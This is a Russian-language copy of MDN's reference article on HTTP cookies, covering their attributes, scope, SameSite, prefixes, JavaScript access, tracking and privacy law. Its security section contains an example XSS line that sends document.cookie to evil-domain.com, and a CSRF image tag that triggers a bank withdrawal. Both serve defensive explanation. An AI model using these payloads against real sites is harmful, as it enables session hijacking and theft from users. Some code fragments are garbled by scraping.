Главной проблемой является изначальное недоверие пользователей к тому, что удаленные сервера без их (пользователей) ведома и согласия записывают на их собственные локальные диски какую либо информацию. Бытовали также слухи о том, что с помощью механизма cookie можно прочесть любую информацию с любого компьютера. Это неправда, к тому же современные версии браузеров позволяют контролировать прием cookie или вовсе блокировать его. Кроме того, появилось множество специальных утилит для управления приемом cookie, так называемые Cookie Managers.

Другая сторона этой проблемы заключается в том, что на узлах Сети аккумулируются огромные массивы данных с персональной информацией, необходимые для коммерческих серверов. Вот здесь и появляются повышенные требования к защите от несанкционированного доступа к этим данным. Пользователи таких серверов должны быть уверены, что их имена, адреса электронной почты, телефонные номера и проч., не попадут в чужие руки. В противном случае последствия могут оказаться катастрофическими для «проштрафившихся» коммерческих серверов.

HTTP-куки

HTTP cookie (web cookie, куки браузера) — это небольшой фрагмент данных, который сервер отправляет браузеру пользователя. Браузер может сохранить этот фрагмент у себя и отправлять на сервер с каждым последующим запросом. Это, в частности, позволяет узнать, с одного ли браузера пришли несколько запросов (например, для аутентификации пользователя). С помощью кук можно сохранить любую информацию о состоянии, HTTP-протокол сам по себе этого делать не умеет.

Куки часто используются для:

• Управления сеансом (логины, корзины для виртуальных покупок)
• Персонализации (пользовательские предпочтения)
• Трекинга (отслеживания поведения пользователей)

До недавнего времени куки использовались в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API для хранения данных, это уже не так. Из-за того что куки пересылаются с каждым запросом, они могут ухудшать производительность (особенно при использовании мобильных сетей). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API ( localStorage и sessionStorage ) и IndexedDB.

Примечание: Чтобы посмотреть сохранённые куки и другие хранилища данных, которые использует веб-страница, можно использовать Storage Inspector (Инспектор хранилища) в инструментах разработчика.

Создание куки

Получив HTTP-запрос, вместе с ответом сервер может отправить заголовок Set-Cookie . Куки обычно запоминаются браузером и посылаются в HTTP-заголовке Cookie (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия кук, а также срок их жизни, после которого куки не будут отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту они будут отсылаться.

Заголовки Set-Cookie и Cookie

Заголовок Set-Cookie HTTP-ответа используется для отправки куки с сервера в клиентское приложение (браузер). Простой куки может задаваться так:

Set-Cookie: =

Этот заголовок с сервера даёт клиенту указание сохранить куки (это делают, например, PHP, Node.js, Python и Ruby on Rails). Ответ, отправляемый браузеру, содержит заголовок Set-Cookie , и куки запоминается браузером.

HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]

Теперь с каждым новым запросом к серверу при помощи заголовка Cookie (en-US) браузер будет возвращать серверу все сохранённые ранее куки.

GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Сессионные cookie

Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) — такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

Постоянные cookies

Постоянные cookie (permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires ) или после определённого интервала времени (атрибут Max-Age ).

Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure («безопасные») и HttpOnly куки

«Безопасные» (secure) куки отсылаются на сервер только тогда, когда запрос отправляется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в куках, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом Secure .

Куки HTTPonly не доступны из JavaScript через свойства Document.cookie API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех кук, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly .

Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Область видимости куки

Директивы Domain и Path определяют область видимости куки, то есть те URL-адреса, к которым куки будут отсылаться.

Атрибут Domain

Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.

Например, если задано Domain=mozilla.org , то куки включены и в поддоменах, например, в developer.mozilla.org .

Атрибут Path

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie . Символ %x2F («/») интерпретируется как разделитель в URL-пути, подпути также будут учитываться.

Если задан Path=/docs , то совпадать будут следующие пути:

• /docs
• /docs/
• /docs/Web/
• /docs/Web/HTTP

А эти пути совпадать не будут:

Куки SameSite

Куки отправляются на сервер при любых запросах, даже если запрашивается статический ресурс с чужого сервера, то есть если происходит межсайтовый запрос. Например, если страница сайта site.com содержит изображение сайта site.net, при запросе изображения в запросе будут отправлены все куки пользователя для site.net. Чтобы ограничить отправку кук только тому сайту, которому они принадлежат, используют атрибут SameSite.

C помощью атрибута SameSite можно указать, когда и как отправлять куки с межсайтовыми запросами (где сайт определяется комбинацией домена и схемы http: или https: ). В некоторой степени этот атрибут защищает от межсайтовой подделки запроса (CSRF). SameSite может принимать три возможных значения: Strict , Lax и None .

С атрибутом Strict куки будут отправляться только тому сайту, которому эти куки принадлежат. Атрибут Lax работает похоже, но куки будут отправляться также при навигации на тот сайт, которому принадлежат куки. Например, при переходе по ссылке с внешнего сайта. Атрибут None отключает ограничение на отправку кук для межсайтовых запросов, но только в безопасном контексте (то есть если установлен SameSite=None , тогда также должен быть установлен атрибут Secure ). Если атрибут SameSite не установлен, куки будут восприниматься как Lax .

-Cookie: mykey=myvalue; SameSite=Strict 

Примечание: В таблице совместимости (en-US) вы можете найти информацию о том, как обрабатываются атрибуты в конкретных версиях браузеров.

Куки с префиксами

Из-за дизайна механизма кук сервер не может подтвердить, что куки были отправлены с защищённого источника (secure origin), или быть уверенным в том, где именно они были установлены.

Уязвимое приложение поддомена может установить куку с атрибутом Domain , тем самым открывая к ней доступ на всех других поддоменнах. Этот механизм может эксплуатироваться с атакой фиксация сессии.

Примечание: Ознакомьтесь со статьёй фиксация сессии (en-US) , чтобы узнать об основных методах защиты от этой атаки.

Тем не менее в соответствии с принципом защита в глубину вы можете использовать куки с префиксами, чтобы гарантировать специфические факты о куках. Доступны два префикса:

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Также кука не должна включать атрибут Domain и должна содержать атрибут Path со значением / .

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Защита с помощью этого префикса слабее по сравнению с префиксом __Host- .

Браузеры будут отклонять установку этих кук, если они не будут удовлетворять всем ограничениям. Заметьте, что куки с префиксами, созданные в рамках поддомена, будут ограничиваться только им или будут полностью игнорироваться. Так как бэкенд проверяет только куки с заранее известными именами при авторизации пользователя или валидации CSRF-токена, куки с префиксами фактически работают как защитный механизм от фиксации сессии.

Примечание: Бэкенд веб-приложения обязан обращаться по полному имени куки, включая префикс. Пользовательские агенты не удаляют префикс из имени кук перед их отправкой в HTTP-заголовке Cookie (en-US) .

Для получения информации о статусе поддержки префиксов в разных браузерах обратитесь к статье про Set-Cookie .

Доступ из JavaScript с помощью Document.cookie

Куки можно создавать с помощью JavaScript, используя DOM-свойство Document.cookie . Также можно читать куки из JavaScript, если не был установлен атрибут HttpOnly .

.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // выведет "yummy_cookie=choco; tasty_cookie=strawberry" 

Куки, созданные с помощью JavaScript, не могут содержать атрибут HttpOnly .

Пожалуйста, учитывайте вытекающие из этого проблемы, про которые рассказывается ниже в разделе Безопасность. Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Безопасность

Примечание: При сохранении информации в куках имейте в виду, что у всех пользователей есть возможность просматривать и изменять их значения. В зависимости от типа приложения вы можете использовать ни о чём не говорящее имя для идентификатора кук, смысл которого будет понятен только бэкенду. Также вы можете рассмотреть возможность использования альтернативных механизмов аутентификации и конфиденциальности, например, JSON Web Tokens

Способы предотвращения атак, использующих куки:

• Используйте атрибут HttpOnly для предотвращения доступа к кукам из JavaScript.
• Куки, которые используются для хранения чувствительной информации, такой как аутентификационный токен, должны иметь короткое время жизни и атрибут SameSite , установленный в Strict или Lax . Для того чтобы узнать больше, смотрите раздел SameSite. В браузерах с поддержкой SameSite это гарантирует предотвращение отправки кук аутентификации с межсайтовыми запросами, фактически такие запросы с точки зрения бэкенда становятся неаутентифицированными.

Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации аутентифицированного пользователя и сеанса работы. Соответственно, похищение кук из приложения может привести к захвату авторизованного сеанса пользователя. Кража кук часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости XSS (en-US).

new Image().src = "http://www.evil-domain.com/steal-cookie.php?cookie token operator">+ document.cookie; 

Атрибут HttpOnly помогает уменьшить эту угрозу, перекрывая доступ к кукам из JavaScript.

Межсайтовая подделка запроса (CSRF — Cross-site request forgery)

В Wikipedia есть хороший пример CSRF. В сообщение, например, в чате или на форуме, включают «изображение», которое, на самом деле, представляет собой запрос к серверу банка на снятие денег:

img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" /> 

Если вы аутентифицированны в своём банковском аккаунте, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа форума или чата с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:

• Как и при XSS (en-US), важна фильтрация входящей информации.
• Для любой чувствительной операции должно запрашиваться подтверждение.
• Куки, используемые для чувствительных операций, должны иметь короткий срок действия.
• Дополнительную информацию можно получить в пользовательской инструкции по предотвращению CSRF на сайте OWASP.

Трекинг и приватность

Сторонние (Third-party) куки

Куки ассоциируются с определённым доменом и схемой (такой как http: или https: ). Также они могут быть ассоциированы с поддоменом с помощью атрибута Domain . Если домен и схема кук совпадает с доменом и схемой текущей страницы, на которой вы находитесь, то их называют собственными куками (first-party cookies). Если домен и схема кук отличается от домена и схемы текущей страницы, то такие куки называют сторонними куками (third-party cookies).

Сервер, хостящий страницу, устанавливает собственные куки, но на странице могут находиться изображения и другие компоненты с других доменов (например, баннерная реклама), они в свою очередь могут устанавливать сторонние куки. Сторонние куки часто используются для рекламы и трекинга пользователей в сети. Как пример, можете посмотреть куки, которые устанавливает Google.

Третья сторона, контролирующая внедрение сторонних кук, может создать профиль пользователя на основе истории его посещений разных сайтов с помощью кук, отправляемых одним и тем же браузером с разных сайтов. Firefox по умолчанию блокирует сторонние куки, про которые известно, что они используются для трекинга пользователей. Сторонние куки (или просто куки для трекинга) могут также быть заблокированы другими настройками браузера или расширениями. Блокировка кук в некоторых ситуациях может стать причиной некорректного поведения сторонних компонентов, например, виджетов социальных сетей.

Примечание: Бэкенд может (и должен) устанавливать у кук атрибут SameSite (en-US) для управления отправкой кук на сторонние серверы.

Законодательство, связанное с куки

Регулирующие акты и законодательство, покрывающие куки, включают:

• General Data Privacy Regulation (GDPR) в Европейском Союзе
• ePrivacy Directive в Европейском Союзе
• California Consumer Privacy Act в Штате Калифорния

Эти акты и директивы действуют глобально. Они применяются ко всем сайтам во Всемирной паутине, к которым пользователи из данных юрисдикций получают доступ (Европейский Союз и Калифорния, с оговоркой, что Калифорнийский закон применяется к компаниям с доходом выше 25 миллионов долларов и несколькими другими оговорками).

Эти акты и директивы включают такие требования как:

• Сообщать пользователям, что сайт использует куки.
• Давать возможность пользователям отказываться от получения всех или некоторых кук.
• Давать возможность пользователям использовать основные функции вашего сервиса без получения кук.

Могут существовать другие законодательные акты, которые применимы к вашей локальной юрисдикции. На вас лежит ответственность знать про них и следовать им. Существуют компании, которые предлагают код с «куки баннером» и берут на себя заботы о следовании законодательству, связанному с куками.

Другие способы хранения информации в браузере

Другой способ для хранения данных в браузере — Web Storage API. Свойства window.sessionStorage и window.localStorage подобны сессионным и постоянным кукам, но позволяют хранить больше данных и никогда не отправляются на сервер. Для хранения ещё большего объёма структурированных данных может использоваться IndexedDB API или библиотеки, построенные поверх него.

Существуют техники для повторной установки кук после их удаления. Такие куки называются куки-зомби. Эти техники нарушают принципы приватности пользователей и пользовательского контроля и могут нарушать законодательства, регулирующие приватность данных, соответственно, использующий их сайт подвержен судебному разбирательству.

Читайте также

• Set-Cookie
• Cookie (en-US)
• Document.cookie
• Navigator.cookieEnabled
• SameSite cookies (en-US)
• Inspecting cookies using the Storage Inspector
• Cookie specification: RFC 6265
• Cookies, the GDPR, and the ePrivacy Directive
• HTTP cookie on Wikipedia

Found a content problem with this page?

• Edit the page on GitHub.
• Report the content issue.
• View the source on GitHub.

This page was last modified on 7 авг. 2023 г. by MDN contributors.